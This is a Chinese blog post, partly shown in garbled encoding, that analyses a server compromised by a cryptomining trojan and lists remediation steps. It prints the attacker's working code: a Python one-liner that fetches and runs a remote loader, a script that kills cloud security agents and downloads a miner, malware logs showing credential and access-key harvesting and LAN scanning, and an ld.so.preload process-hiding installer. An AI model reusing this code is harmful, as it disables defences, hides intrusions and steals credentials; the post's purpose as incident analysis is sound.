記一次服務(wù)器被入侵，沒想到我輕松搞定了它~
服務(wù)器被入侵挖礦過程
事情經(jīng)過
首要問題是保障業(yè)務(wù)正?？捎?，于是快速拉起另外一個實(shí)例，將業(yè)務(wù)遷移過去。接下來， 首先將被入侵服務(wù)器關(guān)機(jī)，然后一步步研究入侵過程，以及其在服務(wù)器上的行為。
入侵行為分析
python -c 'import urllib;exec urllib.urlopen("http://m.windowsupdatesupport.org/d/loader.py").read()
import sysimport osfrom os.path import expanduserver=sys.versionshs='''ps aux | grep -v grep | grep 'aegis' | awk '{print $11}' | xargs dirname | xargs rm -rfps aux | grep -v grep | grep 'hids' | awk '{print $11}' | xargs dirname | xargs rm -rfps aux | grep -v grep | grep 'cloudwalker' | awk '{print $11}' | xargs dirname | xargs rm -rfps aux | grep -v grep | grep 'titanagent' | awk '{print $11}' | xargs dirname | xargs rm -rfps aux | grep -v grep | grep 'edr' | awk '{print $2}' | xargs -I {} kill -9 {}ps aux | grep -v grep | grep 'aegis' | awk '{print $2}' | xargs -I {} kill -9 {}ps aux | grep -v grep | grep 'Yun' | awk '{print $2}' | xargs -I {} kill -9 {}ps aux | grep -v grep | grep 'hids' | awk '{print $2}' | xargs -I {} kill -9 {}ps aux | grep -v grep | grep 'edr' | awk '{print $2}' | xargs -I {} kill -9 {}ps aux | grep -v grep | grep 'cloudwalker' | awk '{print $2}' | xargs -I {} kill -9 {}ps aux | grep -v grep | grep 'titanagent' | awk '{print $2}' | xargs -I {} kill -9 {}ps aux | grep -v grep | grep 'sgagent' | awk '{print $2}' | xargs -I {} kill -9 {}ps aux | grep -v grep | grep 'barad_agent' | awk '{print $2}' | xargs -I {} kill -9 {}ps aux | grep -v grep | grep 'hostguard' | awk '{print $2}' | xargs -I {} kill -9 {}rm -rf /usr/local/aegisrm -rf /usr/local/qcloudrm -rf /usr/local/hostguard/binps aux | grep -v grep | grep 'kworkers' | awk '{print $2}' | xargs -I {} kill -9 {}'''os.system(shs)domainroota="m.windowsupdatesupport.org"#domainroota="192.168.67.131"#$domainroota#curl http://$domainroota/d/kworkers -o $gitdir/kworkershomedir=expanduser("~")gitdir=""try:os.mkdir(homedir+"/.git")except Exception as e:print(e)if os.path.isdir(homedir+"/.git"):gitdir=homedir+"/.git"try:os.mkdir("./.git")except Exception as e:print(e)if os.path.isdir("./.git"):gitdir="./.git"downloadu="http://{}/d/kworkers".format(domainroota)if ver.startswith("3"): import urllib.request with urllib.request.urlopen(downloadu) as f:html = f.read()open(gitdir + "/kworkers", 'wb').write(html)else: import urllib2 with open(gitdir + "/kworkers", 'wb') as f:f.write(urllib2.urlopen("http://{}/d/kworkers".format(domainroota)).read())f.close()print ("Download Complete!")os.system("chmod 777 "+gitdir+"/kworkers")if os.path.isfile('/.dockerenv'):os.system(gitdir+"/kworkers")else:os.system("nohup {}/kworkers >>{}/.log&".format(gitdir,gitdir))
遠(yuǎn)程代碼主要做了這些事情：
卸載服務(wù)器上的安全監(jiān)控工具；事后開機(jī)，發(fā)現(xiàn)阿里云盾果然被卸載了 關(guān)掉所有kworkers進(jìn)程； 在當(dāng)前目錄下創(chuàng)建 .git 目錄，下載并執(zhí)行 kworkers 程序。
服務(wù)器殘留痕跡
# crontab -l0 2 * * * /xxx/.git/kworkers
/xxx/.git/xxx/.gitworking dir /xxx from pid 23684version not exist downloadDownloaded: http://m.windowsupdatesupport.org/d/downloadversion not exist dbusDownloaded: http://m.windowsupdatesupport.org/d/dbusversion not exist hideproc.shDownloaded: http://m.windowsupdatesupport.org/d/hideproc.sherror exit status 1version not exist sshkey.shDownloaded: http://m.windowsupdatesupport.org/d/sshkey.shversion not exist autoupdateDownloaded: http://m.windowsupdatesupport.org/d/autoupdateversion not exist kworkersKey path not found/xxx/.gitpassfound protectedpassfound providedpassfound +clientpassfound +clientpassfound protectedpassfound providedpassfound qualitypassfound (pluspassfound (digits,passfound promptfound aksk xxxx xxxxfound aksk xxxx xxxxpassfound xxxpassfound xxxpassfound xxxpassfound xxxpassfound xxxpassfound xxxlstat /proc/7776/fd/3: no such file or directorylstat /proc/7776/fdinfo/3: no such file or directorylstat /proc/7776/task/7776/fd/3: no such file or directorylstat /proc/7776/task/7776/fdinfo/3: no such file or directorylstat /proc/7776/task/7777/fd/3: no such file or directorylstat /proc/7776/task/7777/fdinfo/3: no such file or directorylstat /proc/7776/task/7778/fd/3: no such file or directorylstat /proc/7776/task/7778/fdinfo/3: no such file or directorylstat /proc/7776/task/7779/fd/3: no such file or directorylstat /proc/7776/task/7779/fdinfo/3: no such file or directorylstat /proc/7776/task/7780/fd/3: no such file or directorylstat /proc/7776/task/7780/fdinfo/3: no such file or directorylstat /proc/7776/task/7781/fd/3: no such file or directorylstat /proc/7776/task/7781/fdinfo/3: no such file or directorylstat /proc/7776/task/7782/fd/3: no such file or directorylstat /proc/7776/task/7782/fdinfo/3: no such file or directorylstat /proc/7776/task/7783/fd/3: no such file or directorylstat /proc/7776/task/7783/fdinfo/3: no such file or directoryrestart cmd /xxx/.git/kworkers/xxx/.gitpassfound file,passfound settingspassfound file.passfound callbackspassfound Callbackpassfound examplepassfound promptpassfound passwordpassfound informationpassfound tokenpassfound tokenpassfound tokenpassfound Passwordpassfound passwordpassfound passwordpassfound -basedpassfound Passwordpassfound (usingpassfound field>passfound retrypassfound foobarpassfound foobarpassfound foobarpassfound foobarpassfound foobarpassfound passwordpassfound passwordpassfound foobarpassfound foobarpassfound secretrtotal passwords 25xxx.xxx.xxx.xxxlan ipdoscan range xxx.xxx.0.0/16ping...Receive 24 bytes from xxx.xxx.xxx.xxx: icmp_seq=0 time=496.309μsworking dir /xxx from pid 7792Receive 24 bytes from xxx.xxx.xxx: icmp_seq=0 time=257.973μsxxx.xxx.xxx is alivexxx.xxx.xxx is alivexxx.xxx.xxx:80 openxxx.xxx0xxx:443 openversion same downloadversion same dbusrestart dbusexec again dbus downrunkill process pid 23709process completedversion same hideproc.shskip restart hideproc.shversion same sshkey.shskip restart sshkey.shversion same autoupdateskip restart autoupdateversion same kworkersKey path not found
對 hideproc.sh 感興趣，其內(nèi)容為：
if [ "$EUID" -ne 0 ] then echo "Please run as root"elseif [ `grep libc2.28 /etc/ld.so.preload` ] then echo "hideproc already done!!"elseapt-get update -yapt-get install build-essential -yyum check-updateyum install build-essential -ydnf groupinstall "Development Tools" -yyum group install "Development Tools" -ycurl http://m.windowsupdatesupport.org/d/processhider.c -o processhider.cgcc -Wall -fPIC -shared -o libc2.28.so processhider.c -ldlmv libc2.28.so /usr/local/lib/ -fgrep libc2.28 /etc/ld.so.preload || echo /usr/local/lib/libc2.28.so >> /etc/ld.so.preloadrm -f processhider.cls >/tmp/.1 2>&1grep libc2.28.so /tmp/.1 && echo >/etc/ld.so.preload fifi
其他信息
除了上述文件，/tmp文件夾下還生成了.1和.1.sh文件；
查詢可疑ip，位于國內(nèi)北京市，應(yīng)該是肉雞；
查詢木馬下載域名 windowsupdatesupport.org，今年6月注冊，解析ip都在國外。該域名很有混淆性，并且為了方便直接用http訪問；
除了下載木馬文件挖礦，未改變服務(wù)器上的其他數(shù)據(jù)。
服務(wù)器被入侵挖礦解決辦法
2、使用非 root 用戶啟動 SpringBoot 應(yīng)用；
3、被入侵的是子系統(tǒng)，增加基本授權(quán)：
apt install -y apache2-utilshtpasswd /etc/nginx/conf.d/.htpasswd user
然后配置 Nginx 使用認(rèn)證信息：
server {...auth_basic "子系統(tǒng)鑒權(quán)：";auth_basic_user_file /etc/nginx/conf.d/.htpasswd;..}
4、防火墻限制對外連接。
總結(jié)
幸運(yùn)的是這次來的是挖礦木馬，服務(wù)器上的程序和數(shù)據(jù)都未受影響。也很感謝阿里云免費(fèi)的安全提醒，讓我在第一時間處理。
但這次事故也敲醒了警鐘：
不要隨意用 root 權(quán)限運(yùn)行程序； 防火墻權(quán)限要嚴(yán)格收緊； 做好安全監(jiān)控； 時刻做好數(shù)據(jù)備份。
推薦閱讀：
世界的真實(shí)格局分析，地球人類社會底層運(yùn)行原理
不是你需要中臺，而是一名合格的架構(gòu)師（附各大廠中臺建設(shè)PPT）
企業(yè)IT技術(shù)架構(gòu)規(guī)劃方案
論數(shù)字化轉(zhuǎn)型——轉(zhuǎn)什么，如何轉(zhuǎn)？
企業(yè)10大管理流程圖，數(shù)字化轉(zhuǎn)型從業(yè)者必備！
【中臺實(shí)踐】華為大數(shù)據(jù)中臺架構(gòu)分享.pdf
華為如何實(shí)施數(shù)字化轉(zhuǎn)型（附PPT）
評論
圖片
表情